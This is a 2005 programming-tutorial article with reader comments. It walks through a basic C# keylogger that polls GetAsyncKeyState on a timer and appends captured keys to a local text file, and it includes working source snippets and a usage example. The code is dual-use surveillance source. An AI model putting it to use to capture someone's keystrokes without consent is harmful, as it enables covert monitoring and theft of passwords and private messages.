Click here to Skip to main content
15,860,972 members
Articles / Programming Languages / C#
Article

Basic Keystroke Mining

Rate me:
Please Sign up or sign in to vote.
4.90/5 (27 votes)
12 May 2005CPOL2 min read 186.9K   6.4K   113   36
A simple key logging implementation using Visual C# .NET.

Introduction

A key logger, or keystroke logger, is a piece of hardware or software which records user keystrokes such as instant messages, e-mail, and any information you type at any time using your keyboard. Many key log solutions are very careful to be invisible to computer users and are often used by employers to ensure employees use work computers for business purposes only.

This article illustrates a simple key logging scheme built around GetAsyncKeyState as the key logging core.

Simple Keystroke Mining Life Cycle

Sample image

  1. A key logger typically records actions and events on a computer to a volatile buffer.
  2. Once the buffer is full, or on set intervals, the buffer is flushed to a non-volatile “log file”.
  3. A common practice among key log solutions is to encrypt the “log file”.

Code Snippets

The KeyLogger class:

C#
public class Keylogger
{
    // The GetAsyncKeyState function determines
    // whether a key is up or down at the time 
    // the function is called, and whether
    // the key was pressed after a previous call 
    // to GetAsyncKeyState.
    // "vKey" Specifies one of 256 possible virtual-key codes. 
    // If the function succeeds, the return value specifies whether the key 
    // was pressed since the last call
    // to GetAsyncKeyState, and whether the key is 
    // currently up or down.
    // If the most significant bit is set, the key is down, 
    // and if the least significant bit is set, the key was pressed after 
    // the previous call to GetAsyncKeyState. 

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(
        System.Windows.Forms.Keys vKey); // Keys enumeration

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(
        System.Int32 vKey);

        
    private System.String keyBuffer;
    private System.Timers.Timer timerKeyMine;
    private System.Timers.Timer timerBufferFlush;

    // Events & Methods (see excerpts below)
            
    // Properties (see source code)
}

At the heart of the KeyLogger class is the timerKeyMine_Elapsed event which iterates through the entire System.Windows.Forms.Keys enumeration for pressed keys. Downed keys are then stored in the keyBuffer (space delimited).

C#
private void timerKeyMine_Elapsed(object sender, 
                        System.Timers.ElapsedEventArgs e)
{
    foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
    {
        if(GetAsyncKeyState(i) == -32767)
        {
            keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
        }
    }
}

The timerBufferFlush_Elapsed event transfers key stroke data from the temporary buffer storage to permanent memory.

C#
private void timerBufferFlush_Elapsed(object sender, 
                             System.Timers.ElapsedEventArgs e)
{
    // Preprocessor Directives
    #if (DEBUG)
        MessageBox.Show(keyBuffer); // debugging help
    #else
        Flush2File(@"c:\keydump.txt", true);
    #endif
}
    
public void Flush2File(string file, bool append)
{
    try
    {
        StreamWriter sw = new StreamWriter(file, append);

        sw.Write(keyBuffer);

        sw.Close();

        keyBuffer = ""; // reset
    }
    catch
    {    // rethrow the exception currently handled by 
        // a parameterless catch clause
        throw;
    }
} 

KeyLogger usage examples:

C#
static void Main(string[] args)
{
    Keylogger kl = new Keylogger();


    kl.Enabled = true; // enable key logging


    kl.FlushInterval = 60000; // set buffer flush interval


    kl.Flush2File(@"a:\logfile.txt", true); // force buffer flush
}

Log File sample output:

LButton H E L L O Space W O R L D Space OemMinus Space R E L E A S E Space B U I L D

Disclaimer

I strongly discourage anyone from monitoring any computer that you do not own or do not have intellectual property rights over. It is illegal and punishable as a crime under (state law) to intercept electronic communications.

Summary

This article is intended to be used in good faith. The key logging mechanics illustrated are not stealth, and vastly inefficient. There are better, commercially available keyboard hooks and stealthy key loggers available. For the purpose of simplicity, I omitted the encryption of the log file. Nevertheless, in the days of adware, spyware, and growing privacy concerns, I find this to be an interesting venture. Any bugs or suggestions can be tracked below in the message board section. Thanks!

History

  • 05/12/05: Original submission.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Kentdome LLC
United States United States
Biography in progress Wink | ;-)

Comments and Discussions

 
QuestionExecution process Pin
CRACKER_HACKER1-Jul-13 0:22
CRACKER_HACKER1-Jul-13 0:22 
AnswerRe: Execution process Pin
usman aa16-Dec-13 5:44
usman aa16-Dec-13 5:44 
QuestionCan't get the key value when put on the excel Pin
HaiBo Wang17206-Jan-13 18:38
HaiBo Wang17206-Jan-13 18:38 
Questionabsy Pin
bmw20122-Jan-13 1:35
bmw20122-Jan-13 1:35 
Questionworking only in "step over" Debugging mode Pin
m.khateeb1512-Nov-12 13:12
m.khateeb1512-Nov-12 13:12 
QuestionCan't get this to work Pin
Mr.Gilroy23-Nov-11 0:48
Mr.Gilroy23-Nov-11 0:48 
AnswerRe: Can't get this to work Pin
jeeva2008200915-Oct-12 19:31
jeeva2008200915-Oct-12 19:31 
GeneralRe: Can't get this to work Pin
m.khateeb155-Feb-13 7:05
m.khateeb155-Feb-13 7:05 
AnswerRe: Can't get this to work Pin
usman aa16-Dec-13 5:50
usman aa16-Dec-13 5:50 
GeneralMy vote of 5 Pin
Mert Farsakoğlu23-Oct-11 7:35
Mert Farsakoğlu23-Oct-11 7:35 
Generalthanks Pin
was83099-Jun-10 12:30
was83099-Jun-10 12:30 
GeneralGet key according to current Keyboard Layout Pin
Myint Thaw22-Feb-10 22:29
Myint Thaw22-Feb-10 22:29 
GeneralKey Stroke Pin
Ashu 135765719-Feb-08 0:50
Ashu 135765719-Feb-08 0:50 
GeneralThanks for the code Pin
codewarrior14-Jan-08 10:10
codewarrior14-Jan-08 10:10 
QuestionHow can we just log "textboxes" Pin
m08-Jan-08 17:55
m08-Jan-08 17:55 
QuestionHow to log just the somes characters? Pin
oalexandrino118-Oct-07 17:44
oalexandrino118-Oct-07 17:44 
AnswerRe: How to log just the somes characters? Pin
Alexander Kent18-Oct-07 19:19
Alexander Kent18-Oct-07 19:19 
GeneralRe: How to log just the somes characters? Pin
oalexandrino119-Oct-07 4:11
oalexandrino119-Oct-07 4:11 
GeneralDOS box remains open Pin
gioyen11914-Sep-07 21:26
gioyen11914-Sep-07 21:26 
GeneralRe: DOS box remains open Pin
Nouman Zakir17-Sep-07 20:23
Nouman Zakir17-Sep-07 20:23 
GeneralExcluding mouse pressing Pin
I.Am.Me16-Jun-07 8:16
I.Am.Me16-Jun-07 8:16 
GeneralRe: Excluding mouse pressing Pin
Alaric_26-Jun-07 7:09
professionalAlaric_26-Jun-07 7:09 
AnswerRe: Excluding mouse pressing Pin
Tzai8-Dec-07 9:09
Tzai8-Dec-07 9:09 
QuestionMagic Number Pin
DavidSaylor6-Jun-07 10:34
DavidSaylor6-Jun-07 10:34 
QuestionWindows Service not working Pin
Seishin#18-Jan-07 2:28
Seishin#18-Jan-07 2:28 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.